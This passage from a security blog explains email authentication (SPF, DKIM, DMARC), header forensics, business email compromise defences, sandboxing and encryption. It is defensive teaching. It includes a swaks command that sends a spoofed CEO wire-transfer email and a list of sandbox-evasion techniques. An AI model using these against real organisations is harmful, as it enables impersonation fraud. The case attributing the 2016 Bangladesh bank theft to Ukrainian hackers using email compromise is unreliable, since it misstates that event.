the account. ### For individuals 1. **Use passkeys or a security key** wherever a service offers them. They are the one control the proxy cannot relay. 2. **Treat unexpected sign-in links with suspicion**, especially from shared-document notifications and QR codes. Go to the site directly instead. 3. **Check active sessions after any doubtful sign-in.** The [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where to revoke sessions on each major platform. 4. **Let a password manager fill credentials.** It matches the saved domain, so it will not autofill on a lookalike site, which is an early warning. ## Related guides - [What Is Phishing](/what-is-phishing) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [Session Hijacking Explained](/session-hijacking-explained) - [Passkeys Explained](/passkeys-explained) - [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys) - [MFA Fatigue Attacks Explained](/mfa-fatigue-attacks-explained) - [Best Hardware Security Keys](/best-hardware-security-keys) ### Sources - From cookie theft to BEC: Attackers use AiTM phishing sites as entry point to further financial fraud (Microsoft Threat Intelligence): https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/ - Cloud Account Takeover Campaign Leveraging EvilProxy to Target Top-Level Executives (Proofpoint): https://www.proofpoint.com/us/blog/email-and-cloud-threats/cloud-account-takeover-campaign-leveraging-evilproxy-targets-top-level - Tycoon 2FA: analysis of the latest version of the AiTM phishing kit (Sekoia): https://www.sekoia.com/blog/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit - Mamba 2FA: A new contender in the AiTM phishing ecosystem (Sekoia): https://www.sekoia.com/blog/mamba-2fa-a-new-contender-in-the-aitm-phishing-ecosystem - Threat Spotlight: A million phishing-as-a-service attacks in two months highlight a fast-evolving threat (Barracuda): https://blog.barracuda.com/2025/03/19/threat-spotlight-phishing-as-a-service-fast-evolving-threat - Threat Spotlight: Tycoon 2FA phishing kit updated to evade inspection (Barracuda): https://blog.barracuda.com/2025/01/22/threat-spotlight-tycoon-2fa-phishing-kit - Defending the gates: How a global coalition disrupted Tycoon 2FA, a major driver of initial access and large-scale online impersonation (Microsoft): https://blogs.microsoft.com/on-the-issues/2026/03/04/how-a-global-coalition-disrupted-tycoon/ - What are risk detections? Microsoft Entra ID Protection (Microsoft Learn): https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks - Protecting Tokens in Microsoft Entra ID (Microsoft Learn): https://learn.microsoft.com/en-us/entra/identity/devices/protecting-tokens-microsoft-entra-id - Prevent account takeovers with DBSC, now generally available in the Chrome browser for Windows (Google Workspace Updates): https://workspaceupdates.googleblog.com/2026/05/prevent-account-takeovers-with-DBSC-now-generally-available-in-the-Chrome-browser-for-Windows.html - Authentication Methods Security Guide (Cisco Duo): https://duo.com/docs/authentication-methods-security-guide --- ## Email Security: How to Lock Down Your Most Attacked Surface > Email is the #1 attack vector. Learn how SPF, DKIM, and DMARC work, how to spot sophisticated phishing, and how to harden your email setup. - URL: https://blog.pwnsy.com/email-security-guide - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: phishing - Tags: email-security, phishing, spf, dkim, dmarc - Related: [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Attacker File Formats: How File Types Get Weaponised](https://blog.pwnsy.com/attacker-file-formats-explained) ### TL;DR - Deploy SPF with -all, DKIM with 2048-bit keys, and DMARC at p=reject to stop domain spoofing at the receiving server. - Use p=none first to collect DMARC aggregate reports for 2-4 weeks before moving to enforcement. - Set null SPF records (v=spf1 -all) on every domain and subdomain that never sends email. - BEC alone cost businesses $2.9 billion in 2024, email authentication is the single highest-ROI control against it. ### Key Takeaways - SMTP has no built-in sender authentication, so anyone can spoof your domain without SPF, DKIM, and DMARC. - SPF with -all, DKIM signing, and DMARC at p=reject together form the only authenticated email stack. - The 10-DNS-lookup limit in RFC 7208 can silently break SPF; SPF flattening resolves this. - DMARC aggregate reports are the correct starting point for inventorying all legitimate email-sending sources. - Phishing and BEC are overwhelmingly the top two cybercrime categories by financial loss in the US. In 2024, the FBI's Internet Crime Complaint Center (IC3) recorded $2.9 billion in losses from Business Email Compromise (BEC) alone. Not all cybercrime, just one attack category that flows entirely through email. Adding ransomware (which most commonly arrives via phishing emails), credential theft, account takeover, and wire fraud, email is responsible for the majority of financial losses from cybercrime in the United States by a wide margin. The underlying reason email is so exploitable is architectural: SMTP, the protocol that carries email, was designed in 1982 for a network of trusted academic and military nodes. It has no built-in sender authentication. Anyone with access to an SMTP server can send an email claiming to be from any address. For 42 years, this design decision has been papered over with increasingly complex authentication standards, none of which are universally deployed. This guide covers those authentication standards in enough detail to implement them correctly, how to read email headers to detect spoofing, the specific attack patterns that cost organizations the most money, and the technical controls that actually stop them. ## Why Email Authentication Matters: The SMTP Problem Here's the root issue in concrete terms. Open a terminal, install a mail client like swaks, and run: ```bash # Install swaks apt-get install swaks # Send a spoofed email (replace with test addresses) swaks \ --to target@example.com \ --from ceo@yourcompany.com \ --server mail.yourcompany.com \ --header "Subject: Urgent Wire Transfer Request" ``` Without authentication controls, this works. The receiving server accepts the message and delivers it to the inbox with the "From: ceo@yourcompany.com" displayed to the user. The CEO never sent it. There was no security control preventing it. SPF, DKIM, and DMARC are the three-layer authentication stack that closes this gap. Each layer addresses a different aspect of the problem. Implementing all three correctly is what moves you from "attackers can trivially spoof your domain" to "DMARC at p=reject means spoofed emails claiming your domain are discarded at the receiving server before they reach any inbox." ## SPF: Authorizing Your Sending Infrastructure **Sender Policy Framework** is a DNS TXT record that defines which IP addresses and mail servers are authorized to send email claiming to be from your domain. When a receiving mail server accepts a message claiming to be from `yourcompany.com`, it looks up the SPF record and checks whether the connecting server's IP is listed. ### Reading and Writing SPF Records An SPF record in DNS looks like this: ``` v=spf1 ip4:203.0.113.10 ip4:198.51.100.0/24 include:_spf.google.com include:sendgrid.net -all ``` Every component has a specific meaning: - `v=spf1`, SPF version identifier. Required. Must be first. - `ip4:203.0.113.10`, explicitly authorize a single IPv4 address (your on-premises mail server) - `ip4:198.51.100.0/24`, authorize an entire /24 subnet (all IPs in that range) - `ip6:2001:db8::/32`, authorize an IPv6 range (same format as ip4) - `include:_spf.google.com`, include Google Workspace's authorized sending IPs (for orgs using Gmail for business email) - `include:sendgrid.net`, include SendGrid's IPs for transactional email - `-all`, hard fail: reject mail from any sender not covered above The qualifier before `all` is the critical decision: | Qualifier | Name | Effect on Non-Matching Senders | |-----------|------|-------------------------------| | `+all` | Pass | Allow everyone, do not use | | `?all` | Neutral | No assertion, do not use | | `~all` | Softfail | Mark suspicious but accept | | `-all` | Hard fail | Reject (or treat as reject) | **Use `-all` in production.** The common mistake of using `~all` (softfail) creates an SPF record that looks like it's doing something while providing minimal actual protection: most receiving servers treat softfail as a pass and deliver the message anyway. The only legitimate reason to use `~all` is during initial deployment when you haven't yet inventoried all legitimate sending sources. ### How to Inventory Your Sending Sources Before deploying SPF with `-all`, you need to know every IP address and service that legitimately sends mail claiming your domain. Missing a legitimate sender causes mail delivery failures. Missing sources typically include: - Your primary email provider (Google Workspace, Microsoft 365, [Zoho Mail](/ref/zoho-mail), on-premises Exchange) - Transactional email services (SendGrid, Mailchimp, Mailgun, AWS SES, Postmark) - Marketing automation platforms (HubSpot, Salesforce Marketing Cloud, Marketo) - CRM systems that send emails (Salesforce, Dynamics) - Alerting systems (PagerDuty, OpsGenie, monitoring tools) - HR systems, accounting software, and business applications with email notification features - Legacy systems and custom applications **Practical inventory method:** 1. Set DMARC to `p=none` first and collect aggregate reports for 2-4 weeks (covered below) 2. The aggregate reports list every IP address that sends mail claiming your domain, with SPF and DKIM pass/fail rates 3. Use that data to build your complete SPF record This is the correct order: DMARC reports first, then SPF enforcement. ### The 10-Lookup Limit: A Common Breaking Point RFC 7208 caps SPF processing at 10 DNS lookups. Each `include:`, `a:`, `mx:`, and `ptr:` mechanism in your record counts as one lookup, and included records can nest further lookups. An organization using Google Workspace, SendGrid, and three SaaS platforms can easily exceed 10 lookups. When an SPF record exceeds 10 lookups, the record returns a `permerror`, which many receivers treat as a fail, causing legitimate mail to bounce. **Diagnosis:** ```bash # Check how many lookups your SPF record requires dig TXT yourcompany.com | grep v=spf # Use a dedicated SPF lookup counter tool # Multiple online tools exist: mxtoolbox.com/spf.aspx, dmarcian.com/spf-survey/ ``` **Fix:** "SPF flattening", replacing `include:` directives with the underlying IP ranges: ```bash # Find the actual IPs behind an include dig TXT _spf.google.com # Result shows nested includes — follow each recursively dig TXT _netblocks.google.com dig TXT _netblocks2.google.com dig TXT _netblocks3.google.com ``` Replace the `include:` directives with the IP ranges directly. This eliminates lookup overhead. The downside: when the third-party service changes their IP ranges, your flattened record becomes outdated. Services like dmarcian's SPF Flattener and EasyDMARC's SPF Generator can automate this maintenance. ### Null SPF for Non-Sending Domains Every domain and subdomain you own that doesn't send email should have an explicit null SPF record: ``` v=spf1 -all ``` This tells receiving servers: "We explicitly send no email from this domain. Reject anything claiming to be from it." Without this, an attacker can spoof your parked domains and subdomains, which often have no SPF record at all, meaning receiving servers have no information to make a rejection decision. Parked domains you own, legacy domains from past brand names, and unused subdomains should all have `v=spf1 -all` published. ## DKIM: Cryptographic Signature Verification SPF verifies which servers can send from your domain. It doesn't verify that a message wasn't modified in transit, and it breaks when mail is forwarded (because the forwarder's IP address isn't in the original domain's SPF record). **DomainKeys Identified Mail** solves both problems. The sending server signs outgoing messages with a private key using public-key cryptography. The public key is published in DNS. Any receiving server can verify the signature regardless of how many hops the message made. ### The DKIM Public Key Record DKIM public keys live in DNS at a specific location: `selector._domainkey.yourdomain.com` ``` # Example DKIM DNS record default._domainkey.yourcompany.com IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2D..." ``` Breaking down the record: - `default` is the **selector**: an arbitrary string that identifies which key to use. You can have multiple selectors simultaneously, which enables key rotation. - `v=DKIM1`, version identifier - `k=rsa` (key algorithm (RSA). Ed25519 (`k=ed25519`) is the modern alternative) smaller keys, faster verification, equivalent security to RSA-3072. - `p=`: the base64-encoded public key material. The private key is held by your mail server. **Verifying your DKIM record is working:** ```bash # Query the DKIM record dig TXT default._domainkey.yourcompany.com # Send a test email and check the Authentication-Results header # Look for: dkim=pass header.d=yourcompany.com # Using swaks to test: swaks --to test@example.com --from you@yourcompany.com --server smtp.yourcompany.com --auth LOGIN # Check DKIM validation using an online tool or with Python: python3 -c " import dkim with open('email.eml', 'rb') as f: d = dkim.DKIM(f.read()) print('Valid:', d.verify()) " ``` ### What DKIM Signs and What It Doesn't The DKIM signature covers: - Specific email headers you configure (mandatory: `From`; recommended: `Subject`, `Date`, `To`, `MIME-Version`) - Optionally the message body (using a hash of the body content) The signature does NOT cover headers not listed in the `h=` field of the signature. This matters because attackers can add headers that DKIM doesn't cover, including a second `From:` header that email clients may display instead of the signed one (a technique called "header shadowing" or "multi-From" attacks). ### Key Rotation DKIM private keys should be rotated at minimum annually. The process: 1. Generate a new RSA-2048 or Ed25519 key pair 2. Add the new public key to DNS under a new selector name: `20260101._domainkey.yourcompany.com` 3. Configure your mail server to sign new messages with the new key 4. Allow time for the new key to be cached (24-48 hours) 5. Verify new messages are signing with the new selector 6. Remove the old selector from DNS ```bash # Generate RSA-2048 DKIM key pair openssl genrsa -out dkim_private.pem 2048 openssl rsa -in dkim_private.pem -out dkim_public.pem -pubout # Extract the public key in base64 for the DNS TXT record openssl rsa -in dkim_private.pem -pubout -outform der 2>/dev/null | base64 | tr -d '\n' # Generate Ed25519 key pair (smaller, faster, modern) openssl genpkey -algorithm ed25519 -out ed25519_private.pem openssl pkey -in ed25519_private.pem -pubout -outform der | base64 | tr -d '\n' ``` RSA-1024 DKIM keys are considered broken, don't use them. RSA-2048 is the minimum acceptable. Ed25519 is preferred for new deployments. If a DKIM private key is ever compromised or suspected compromised, rotate immediately: generate new keys, update DNS, reconfigure the mail server, and remove the old selector record. ## DMARC: Policy Enforcement and Reporting SPF and DKIM each independently verify aspects of sender identity. But neither tells receiving servers what to do with messages that fail verification. DMARC adds two critical capabilities: a policy that tells receivers what to do when authentication fails, and an aggregate reporting mechanism that tells you what's happening to your mail in the wild. ### The DMARC Record ``` _dmarc.yourcompany.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc-reports@yourcompany.com; ruf=mailto:dmarc-forensics@yourcompany.com; sp=reject; adkim=s; aspf=s; pct=100; fo=1" ``` Every field: - `v=DMARC1`, DMARC version identifier - `p=reject`, **Policy**: what to do with mail that fails DMARC alignment. Options: - `p=none`, take no action, only report (monitoring mode) - `p=quarantine`, deliver to spam/junk folder - `p=reject`, reject the message before delivery (the strongest and correct enforcement) - `rua=mailto:dmarc-reports@yourcompany.com`, aggregate report destination. You receive daily XML reports from participating receivers summarizing SPF/DKIM pass rates by sending source. If you don't want to parse XML yourself, use a DMARC reporting service (covered below) and point `rua` to their address. - `ruf=mailto:dmarc-forensics@yourcompany.com`, forensic report destination. You receive redacted copies of specific failing messages. Not universally supported by receivers. Optional. - `sp=reject`, policy for subdomains. If omitted, subdomains inherit the `p=` value. Explicitly set this to `reject` to prevent subdomain spoofing. - `adkim=s`, DKIM alignment mode: - `s` (strict): the `d=` domain in the DKIM signature must exactly match the `From:` header domain - `r` (relaxed): organizational domain matching, `mail.yourcompany.com` matches `yourcompany.com` - `aspf=s`, SPF alignment mode (same strict/relaxed distinction) - `pct=100`, percentage of failing mail to apply the policy to. Used for gradual rollout (start at `pct=10`, increase over time). `pct=100` applies the policy to all failing mail. - `fo=1`, forensic report generation: - `0`: generate report only if both SPF and DKIM fail (default) - `1`: generate report if either SPF or DKIM fails - `d`: generate report if DKIM fails - `s`: generate report if SPF fails ### The Alignment Concept: Why DMARC Closes the Gap This is the most important concept in DMARC. Without alignment, an attacker can: 1. Send email from `attacker.com` (which passes SPF for `attacker.com`) 2. Set the visible `From:` header to `ceo@yourcompany.com` 3. The SPF check passes (for `attacker.com`), but the displayed sender is your domain DMARC alignment requires that the domain passing SPF or DKIM matches the `From:` header domain. In the scenario above: - The SPF check passes for `attacker.com`, but `attacker.com` doesn't match `yourcompany.com` in the `From:` header, so DMARC alignment fails - No DKIM signature from `yourcompany.com` is present, so DKIM alignment also fails - With `p=reject`, the receiving server rejects the message **This is why DMARC without alignment is incomplete, and why deploying SPF and DKIM without DMARC leaves you partially protected.** The alignment check is what ties the authentication mechanisms to the visible sender. ### Deploying DMARC Without Breaking Mail: The Safe Rollout Process Rushing to `p=reject` without understanding your mail flows will cause legitimate mail to be silently rejected. The correct approach: **Phase 1, Monitoring (2-4 weeks):** ``` _dmarc.yourcompany.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@yourcompany.com; pct=100" ``` Aggregate reports start arriving within 24 hours. Each report is an XML file listing: - Sending IP addresses - SPF pass/fail for each source - DKIM pass/fail for each source - Volume of mail from each source **Phase 2, Analyze reports:** Parse DMARC aggregate reports using: - **parsedmarc** (Python CLI, open source): `pip install parsedmarc && parsedmarc report.xml` - **DMARC reporting services** (interpret reports in a dashboard without DIY parsing): Dmarcian ($20-$150/month), Postmark DMARC ($14/month), Valimail Monitor (free tier), EasyDMARC (free tier) From the reports, identify: - All legitimate sending sources (your mail servers, your SaaS platforms) - Their SPF and DKIM pass rates - Any unauthorized senders claiming your domain **Phase 3, Remediate failures:** For each legitimate source with DKIM failures: - Verify DKIM is correctly configured on that sending service - Check that the `From:` domain in the sending service matches the domain in the DKIM signature For each legitimate source with SPF failures: - Add the service's IP ranges or `include:` to your SPF record **Phase 4, Quarantine (1-2 weeks):** ``` _dmarc.yourcompany.com TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@yourcompany.com; pct=25" ``` Start at `pct=25`, apply quarantine to 25% of failing messages, monitor for legitimate mail landing in spam. Increase to `pct=100` over a week or two if no issues appear. **Phase 5, Reject (ongoing):** ``` _dmarc.yourcompany.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@yourcompany.com; sp=reject; adkim=s; aspf=s; pct=100" ``` `p=reject` at `pct=100` is the final target. At this point, spoofed emails claiming your domain are rejected at the receiving mail server before any user sees them. This rollout typically takes 4-8 weeks for organizations with simple mail environments and 2-4 months for enterprises with complex multi-vendor mail stacks. ## Reading Email Headers: The Forensic Layer Every email contains headers that tell the full story of how it traveled from sender to recipient. These headers are hidden by default in every mail client but accessible on demand. ### How to View Full Headers **Gmail:** Open the email → three-dot menu → "Show original" **Outlook:** File → Properties → Internet headers (for specific message); or View → Options for older versions **Apple Mail:** View → Message → All Headers (or Command+Shift+H) **Thunderbird:** View → Headers → All ### Header Analysis: A Real Example ``` Received: from compromised-server.evil.com (93.184.216.34) by mx.yourcompany.com with ESMTPS id abc123 Mon, 03 Mar 2026 09:15:32 +0000 Received: from mail.yourcompany.com (198.51.100.10) by compromised-server.evil.com Mon, 03 Mar 2026 09:14:15 +0000 Authentication-Results: mx.yourcompany.com; dkim=fail (signature verification failed) header.d=yourcompany.com; spf=fail smtp.mailfrom=no-reply@yourcompany.com smtp.helo=evil.com; dmarc=fail (p=REJECT) header.from=yourcompany.com From: "Finance Department" Reply-To: payment@attacker-domain.com Subject: Updated wire transfer instructions - URGENT Date: Mon, 03 Mar 2026 09:14:00 +0000 Message-ID: ``` Reading this from bottom to top (headers are added in reverse chronological order): 1. **The `Received:` chain**: Read these bottom to top. The first (bottom) Received header is where the message originated; the last (top) is your server accepting it. The originating server here is `compromised-server.evil.com (93.184.216.34)`, clearly not a legitimate yourcompany.com server. 2. **`Authentication-Results:`**: This is the critical field, your server's verdict. - `dkim=fail`: the DKIM signature was present but verification failed (the message was modified, or the signature was forged) - `spf=fail`: the sending IP isn't in yourcompany.com's SPF record - `dmarc=fail (p=REJECT)`, with your DMARC policy at reject, this message should have been rejected before delivery. If you're seeing it in your inbox, either your DMARC policy is `p=none` or `p=quarantine`, or your mail gateway isn't enforcing DMARC correctly. 3. **`Reply-To:` diverges from `From:`**: This is a classic Business Email Compromise setup. The displayed sender is `no-reply@yourcompany.com` (which DMARC should block when at reject). But even if DMARC isn't enforced, the Reply-To header sends responses to `payment@attacker-domain.com`. A user who replies or clicks "pay this invoice" is sending to the attacker. 4. **`Message-ID:` domain mismatch**: The Message-ID contains `@evil.com` while the From shows `@yourcompany.com`. Legitimate mail has Message-IDs matching the sending domain. ### Identifying Legitimate vs. Spoofed Mail **A legitimate email from yourcompany.com looks like:** ``` Authentication-Results: mx.recipient.com; dkim=pass header.d=yourcompany.com header.s=20240101 header.b=ABC123; spf=pass smtp.mailfrom=yourcompany.com smtp.helo=mail.yourcompany.com; dmarc=pass (p=reject) header.from=yourcompany.com ``` All three pass, and the `dmarc=pass` confirms alignment: the DKIM or SPF domain matches the From header domain. **Free tools for header analysis:** - **MXToolbox Email Header Analyzer**: mxtoolbox.com/EmailHeaders.aspx - **Google Admin Toolbox Messageheader**: toolbox.googleapps.com/apps/messageheader/ - **Mail Header Analyzer by Isaac Sukin**: isaacsukin.com/news/email-header-analyzer ```python # Python for programmatic header analysis using the 'mail-parser' library import mailparser mail = mailparser.parse_from_file('suspicious_email.eml') print("From:", mail.from_) print("Reply-To:", mail.reply_to) print("Authentication-Results:", mail.headers.get('Authentication-Results', 'Not present')) print("Received chain:") for received in mail.received: print(" -", received) ``` ## Business Email Compromise: The Highest-Dollar Attack BEC is the attack category where email security failures translate most directly into dollar losses. The FBI IC3 reports $2.9 billion in 2024 losses in the United States alone: a figure that almost certainly understates actual losses due to underreporting. BEC attacks differ from mass phishing in two ways: they're highly targeted (one attacker against one target organization) and they often involve no malware at all. The attacker's tool is a convincing email and knowledge of organizational context. ### CEO Fraud / Executive Impersonation An email appears to come from the CEO, CFO, or a board member. It instructs a finance team member to execute an urgent wire transfer, typically with a reason that sounds plausible (confidential M&A activity, regulatory settlement, emergency supplier payment) and explicit instructions to keep it confidential and process it outside normal channels. The social engineering succeeds because: - Authority: the email appears to come from someone with legitimate authority to authorize transfers - Urgency: the "urgent" framing bypasses normal deliberation - Secrecy: "keep this confidential" is designed to prevent the target from consulting colleagues who might raise doubts - Context: sophisticated attackers research the organization beforehand: they know the CEO's name, the organization's financial software, the names of finance staff **Real case:** In 2019, Toyota Boshoku Corporation lost approximately $37 million in a BEC attack where an attacker impersonating a business partner (using a compromised email account) convinced finance personnel to change bank account details for a legitimate payment. The money was transferred before the fraud was detected. **Real case:** In 2016, Ucraniann hackers compromised a business email account and redirected $101 million in wire transfers from Bangladeshi central bank to accounts in the Philippines, Sri Lanka, and the United States. $81 million was successfully laundered. The attack exploited SWIFT banking network authentication alongside email social engineering. ### Vendor Payment Fraud The attacker monitors email conversations between a company and a vendor: either through a compromised email account or through social engineering that reveals payment patterns. At an opportune moment (just before a large payment is due), the attacker sends an email appearing to come from the vendor requesting that the payment be sent to a new bank account. This attack is particularly insidious because: - The email context is accurate (the attacker knows about the legitimate relationship and the pending payment) - The request is not unusual (vendors sometimes legitimately change banking details) - The attacker often registers a lookalike domain (`vendor-corp.com` vs. `vendorcorp.com`, `vendor.corp.com` vs. `vendorcorp.com`) making the email address look nearly identical **Real case:** In 2021, the City of Tucson, Arizona, lost $1.2 million to a vendor impersonation BEC attack. The attacker sent a fake banking change notification for a legitimate contractor, intercepting a scheduled payment. ### Payroll Diversion The attacker identifies HR or payroll personnel through LinkedIn, then contacts them by email impersonating an employee. The request: change my direct deposit account before the next payroll run. The attacker provides a routing and account number they control. This attack targets payroll systems during the narrow window before payroll processing. If successful, the employee doesn't discover the fraud until they don't receive their paycheck. ### BEC Defense Architecture **The procedural defense is more important than the technical defense:** **Out-of-band verification is non-negotiable:** Any wire transfer request, banking change, or payment redirect that arrives via email must be verified through a phone call to a number from your verified internal directory or supplier list, never a number provided in the email. This single procedural control defeats almost all BEC attacks. **Dual authorization for financial transactions:** No single person should be able to authorize a wire transfer above a threshold (commonly $5,000-$25,000 depending on organization size) without a second approval from a separate individual through a separate channel. This turns the attacker's single social engineering target into multiple simultaneous targets, exponentially harder. **Lookalike domain monitoring:** Register common variations of your domain name yourself (youcompany.com, your-company.com, yourcompany.net). Monitor for newly registered lookalike domains using services like Brand Monitor, PhishLabs, or CSC's DomainSense, attackers register these domains days before the attack. A real-time alert when someone registers `yourcornpany.com` gives you time to prepare defenses. **DMARC at p=reject:** Eliminates spoofed email claiming your exact domain. Note: this doesn't stop lookalike domain attacks, `attacker-corp.com` can have perfectly valid SPF, DKIM, and DMARC for its own domain. DMARC protects your domain from being spoofed; it doesn't protect against email from convincingly named lookalike domains. **Mail gateway impersonation detection:** Enterprise mail gateways (Proofpoint, Mimecast, Microsoft Defender for Office 365) include features that detect display name spoofing (where the visible name is "CEO Name" but the actual email address is external), lookalike domain detection, and BEC pattern recognition. These are not foolproof but catch many automated BEC attempts. ## Anti-Phishing Controls by Sophistication Level Not all organizations have the same resources or threat exposure. Here's the control stack organized by tier. ### Tier 1: Free Controls (Any Organization) **SPF + DKIM + DMARC at p=reject:** Zero cost beyond implementation time. Prevents direct domain spoofing. Takes 4-8 weeks to implement correctly. **MFA on all email accounts:** Google Workspace and Microsoft 365 both include MFA at no additional cost. Prevents account takeover even when credentials are phished. Enable it for every user. **Disable legacy authentication:** IMAP, POP3, and Basic Auth bypass MFA entirely. If you're using Google Workspace or Microsoft 365, disable these protocols for all users unless there's a documented specific requirement. ``` # Google Workspace: Admin Console → Security → Access and data control → API Controls → Third-party app access # Disable "Trust internal, domain-owned apps" and require OAuth only # Microsoft 365: Via Conditional Access (E5 or Defender) or basic auth block policies (all tiers): # Azure AD → Conditional Access → New policy → Grant (Block) for all legacy auth apps ``` **BIMI (Brand Indicators for Message Identification):** Once DMARC is at reject, BIMI allows your organization's logo to appear in supporting email clients (Gmail, Outlook 2025, iOS Mail) alongside authenticated emails from your domain. Requires a Verified Mark Certificate (VMC) from DigiCert or Entrust for full "blue checkmark" display. Basic BIMI without VMC is free and displays your logo in Gmail. ``` # BIMI DNS record: default._bimi.yourcompany.com TXT "v=BIMI1; l=https://yourcompany.com/logo.svg; a=https://yourcompany.com/certificate.pem" ``` ### Tier 2: SMB-Grade Controls (~$500-$2,000/month) **Microsoft Defender for Office 365 Plan 1** ($2/user/month): Adds Safe Attachments (sandboxed detonation of email attachments), Safe Links (URL rewriting and click-time scanning), and anti-phishing policies with impersonation protection. **Proofpoint Essentials** (~$7-$12/user/month): Comparable to Microsoft Defender but with stronger threat intelligence. Better for organizations not in the Microsoft ecosystem. **KnowBe4** (phishing simulation and training, ~$15-$30/user/year): Automated phishing simulations that send realistic test phishing emails to employees, track who clicks, and enroll clickers in targeted security awareness training. The simulation data tells you which employees need more training and which phishing templates are most effective against your organization. **Cloudflare Email Security** (formerly Area 1, ~$5-$8/user/month): Pre-delivery scanning with advanced detection. Integrates with Google Workspace and Microsoft 365 as a preprocessing layer before mail reaches your inbox. ### Tier 3: Enterprise Grade (~$2,000-$10,000+/month) **Proofpoint TAP (Targeted Attack Protection)** enterprise tier: Advanced sandboxing, people-centric security analytics, CASB integration. Includes threat intelligence about which executives and roles are being targeted externally (gleaned from Proofpoint's network-wide threat data). **Microsoft Defender for Office 365 Plan 2** (included in M365 E5): Adds Threat Explorer for security team investigation, Attack Simulator for organization-wide campaigns, and extended detection and response (XDR) integration with Defender for Endpoint. **Mimecast Email Security** enterprise: Established player with strong archive, continuity (email continues to flow if your mail server is down), and targeted threat protection features. **Valimail Enforce**: DMARC deployment and enforcement automation specifically. Particularly strong for enterprises that want hands-off DMARC management after initial configuration. ## Attachment and Link Security ### Attachment Sandboxing: How It Works and Its Limits Enterprise email security gateways handle incoming attachments by detonating them in an isolated virtual environment (sandbox) before delivery. The sandbox observes behavior: - Registry writes (often indicative of malware establishing persistence) - Network connections (malware phoning home to command-and-control) - File system modifications (ransomware encrypting files) - Process spawning (malicious macros launching PowerShell) If the sandbox observes malicious behavior, the attachment is blocked. If behavior is clean after a configurable observation period, the attachment is delivered. **Sandbox evasion techniques used by sophisticated attackers:** - **Time delays:** Malware waits 30-60 minutes before executing, by which time the sandbox has completed its analysis window - **VM artifact detection:** Malware checks for virtual machine indicators (specific registry keys, CPU features, screen resolutions common in VMs) and behaves cleanly if detected - **User interaction requirements:** Malware requires mouse movement or specific user actions before executing, sandboxes that don't simulate user interaction don't trigger the payload - **Password-protected archives:** ZIP files with passwords can't be opened by sandboxes that don't have the password (often provided in the email body) **Defense:** Sandbox evasion raises the attacker's cost and sophistication requirements. Block entire file types that have no legitimate business use: `.exe`, `.scr`, `.bat`, `.ps1` (PowerShell), `.vbs` (VBScript), `.js` when delivered by email. For file types that are used legitimately (PDFs, Office documents), aggressive sandboxing with extended dwell time and virtual machine diversity reduces evasion success rates. **Strip macros from Office documents by default.** Microsoft disabled auto-execution of macros from internet-sourced documents in 2022, but many organizations still have this protection disabled for "compatibility." Enable it. ### Safe Link Processing URL rewriting rewrites hyperlinks in emails at delivery time. When the user clicks, the request goes to the email security gateway first, which: 1. Checks the URL against threat intelligence databases 2. Detonates the URL in a sandbox if it wasn't previously analyzed 3. Blocks if malicious; allows if clean The benefit over scan-time checking: attackers increasingly use "time-of-click" delivery, where the URL is clean at delivery but switches to malicious content at click time. Click-time checking catches this. **Limitation:** Users who notice rewritten URLs and bypass them (by manually copying the original URL) defeat this control. The link rewriting UI matters, excessive obfuscation of the destination URL trains users to ignore it. ## End-to-End Email Encryption Authentication (SPF/DKIM/DMARC) proves who sent the message. Encryption protects the message content from anyone who intercepts it in transit. These are separate concerns with separate solutions. ### Encryption in Transit: TLS and MTA-STS Most major email providers support STARTTLS, opportunistic TLS that encrypts the SMTP connection between servers. "Opportunistic" means it's used if both sides support it; it falls back to plaintext if not. **MTA-STS (Mail Transfer Agent Strict Transport Security)** removes the "opportunistic" weakness. You publish a policy via HTTPS and DNS that requires supporting senders to use TLS with your server's certificates, rejecting any connection that can't meet these requirements. ```bash # Check if a domain supports MTA-STS: dig TXT _mta-sts.yourcompany.com curl https://mta-sts.yourcompany.com/.well-known/mta-sts.txt # The policy file at /.well-known/mta-sts.txt looks like: version: STSv1 mode: enforce mx: mail.yourcompany.com max_age: 86400 # Pair with TLS-RPT to receive failure reports: # _smtp._tls.yourcompany.com TXT "v=TLSRPTv1; rua=mailto:tls-reports@yourcompany.com" ``` ### End-to-End Encryption: S/MIME vs. PGP **S/MIME** uses certificates issued by trusted Certificate Authorities (CAs): the same trust model as HTTPS. Your organization issues or purchases certificates for each user. The certificate is included in emails automatically, and supporting mail clients (Outlook, Apple Mail, iOS Mail, Android) handle encryption and decryption transparently. ```bash # Check if an email was S/MIME signed (examine headers): grep -i "content-type: application/pkcs7" email.eml grep -i "smime" email.eml # Obtain a free S/MIME certificate from Actalis: # https://extrassl.actalis.it/portal/uapub/freessl (personal use, 1-year validity) # Outlook: Configure S/MIME under File → Options → Trust Center → Trust Center Settings → Email Security # Apple Mail: Automatically uses S/MIME if a valid certificate is in the Keychain ``` For enterprise deployment, integrate with your PKI (Public Key Infrastructure) to auto-issue S/MIME certificates for all employees. Microsoft Certificate Services, EJBCA, and commercial CA programs (DigiCert, Sectigo) all support this. **PGP (Pretty Good Privacy)** uses a web-of-trust model rather than CA-issued certificates. Each user generates their own key pair and shares their public key directly. No CA hierarchy is required. ```bash # Generate a PGP key pair gpg --full-generate-key # Choose RSA and RSA, 4096 bits, 2-year expiry # Export your public key to share with others gpg --armor --export your@email.com > public_key.asc # Import someone else's public key gpg --import their_public_key.asc # Encrypt an email to someone gpg --encrypt --armor --recipient their@email.com message.txt # Decrypt a received encrypted message gpg --decrypt message.asc # Sign a message gpg --sign --armor message.txt ``` **The practical problem with PGP:** Key discovery and verification are manual. There's no 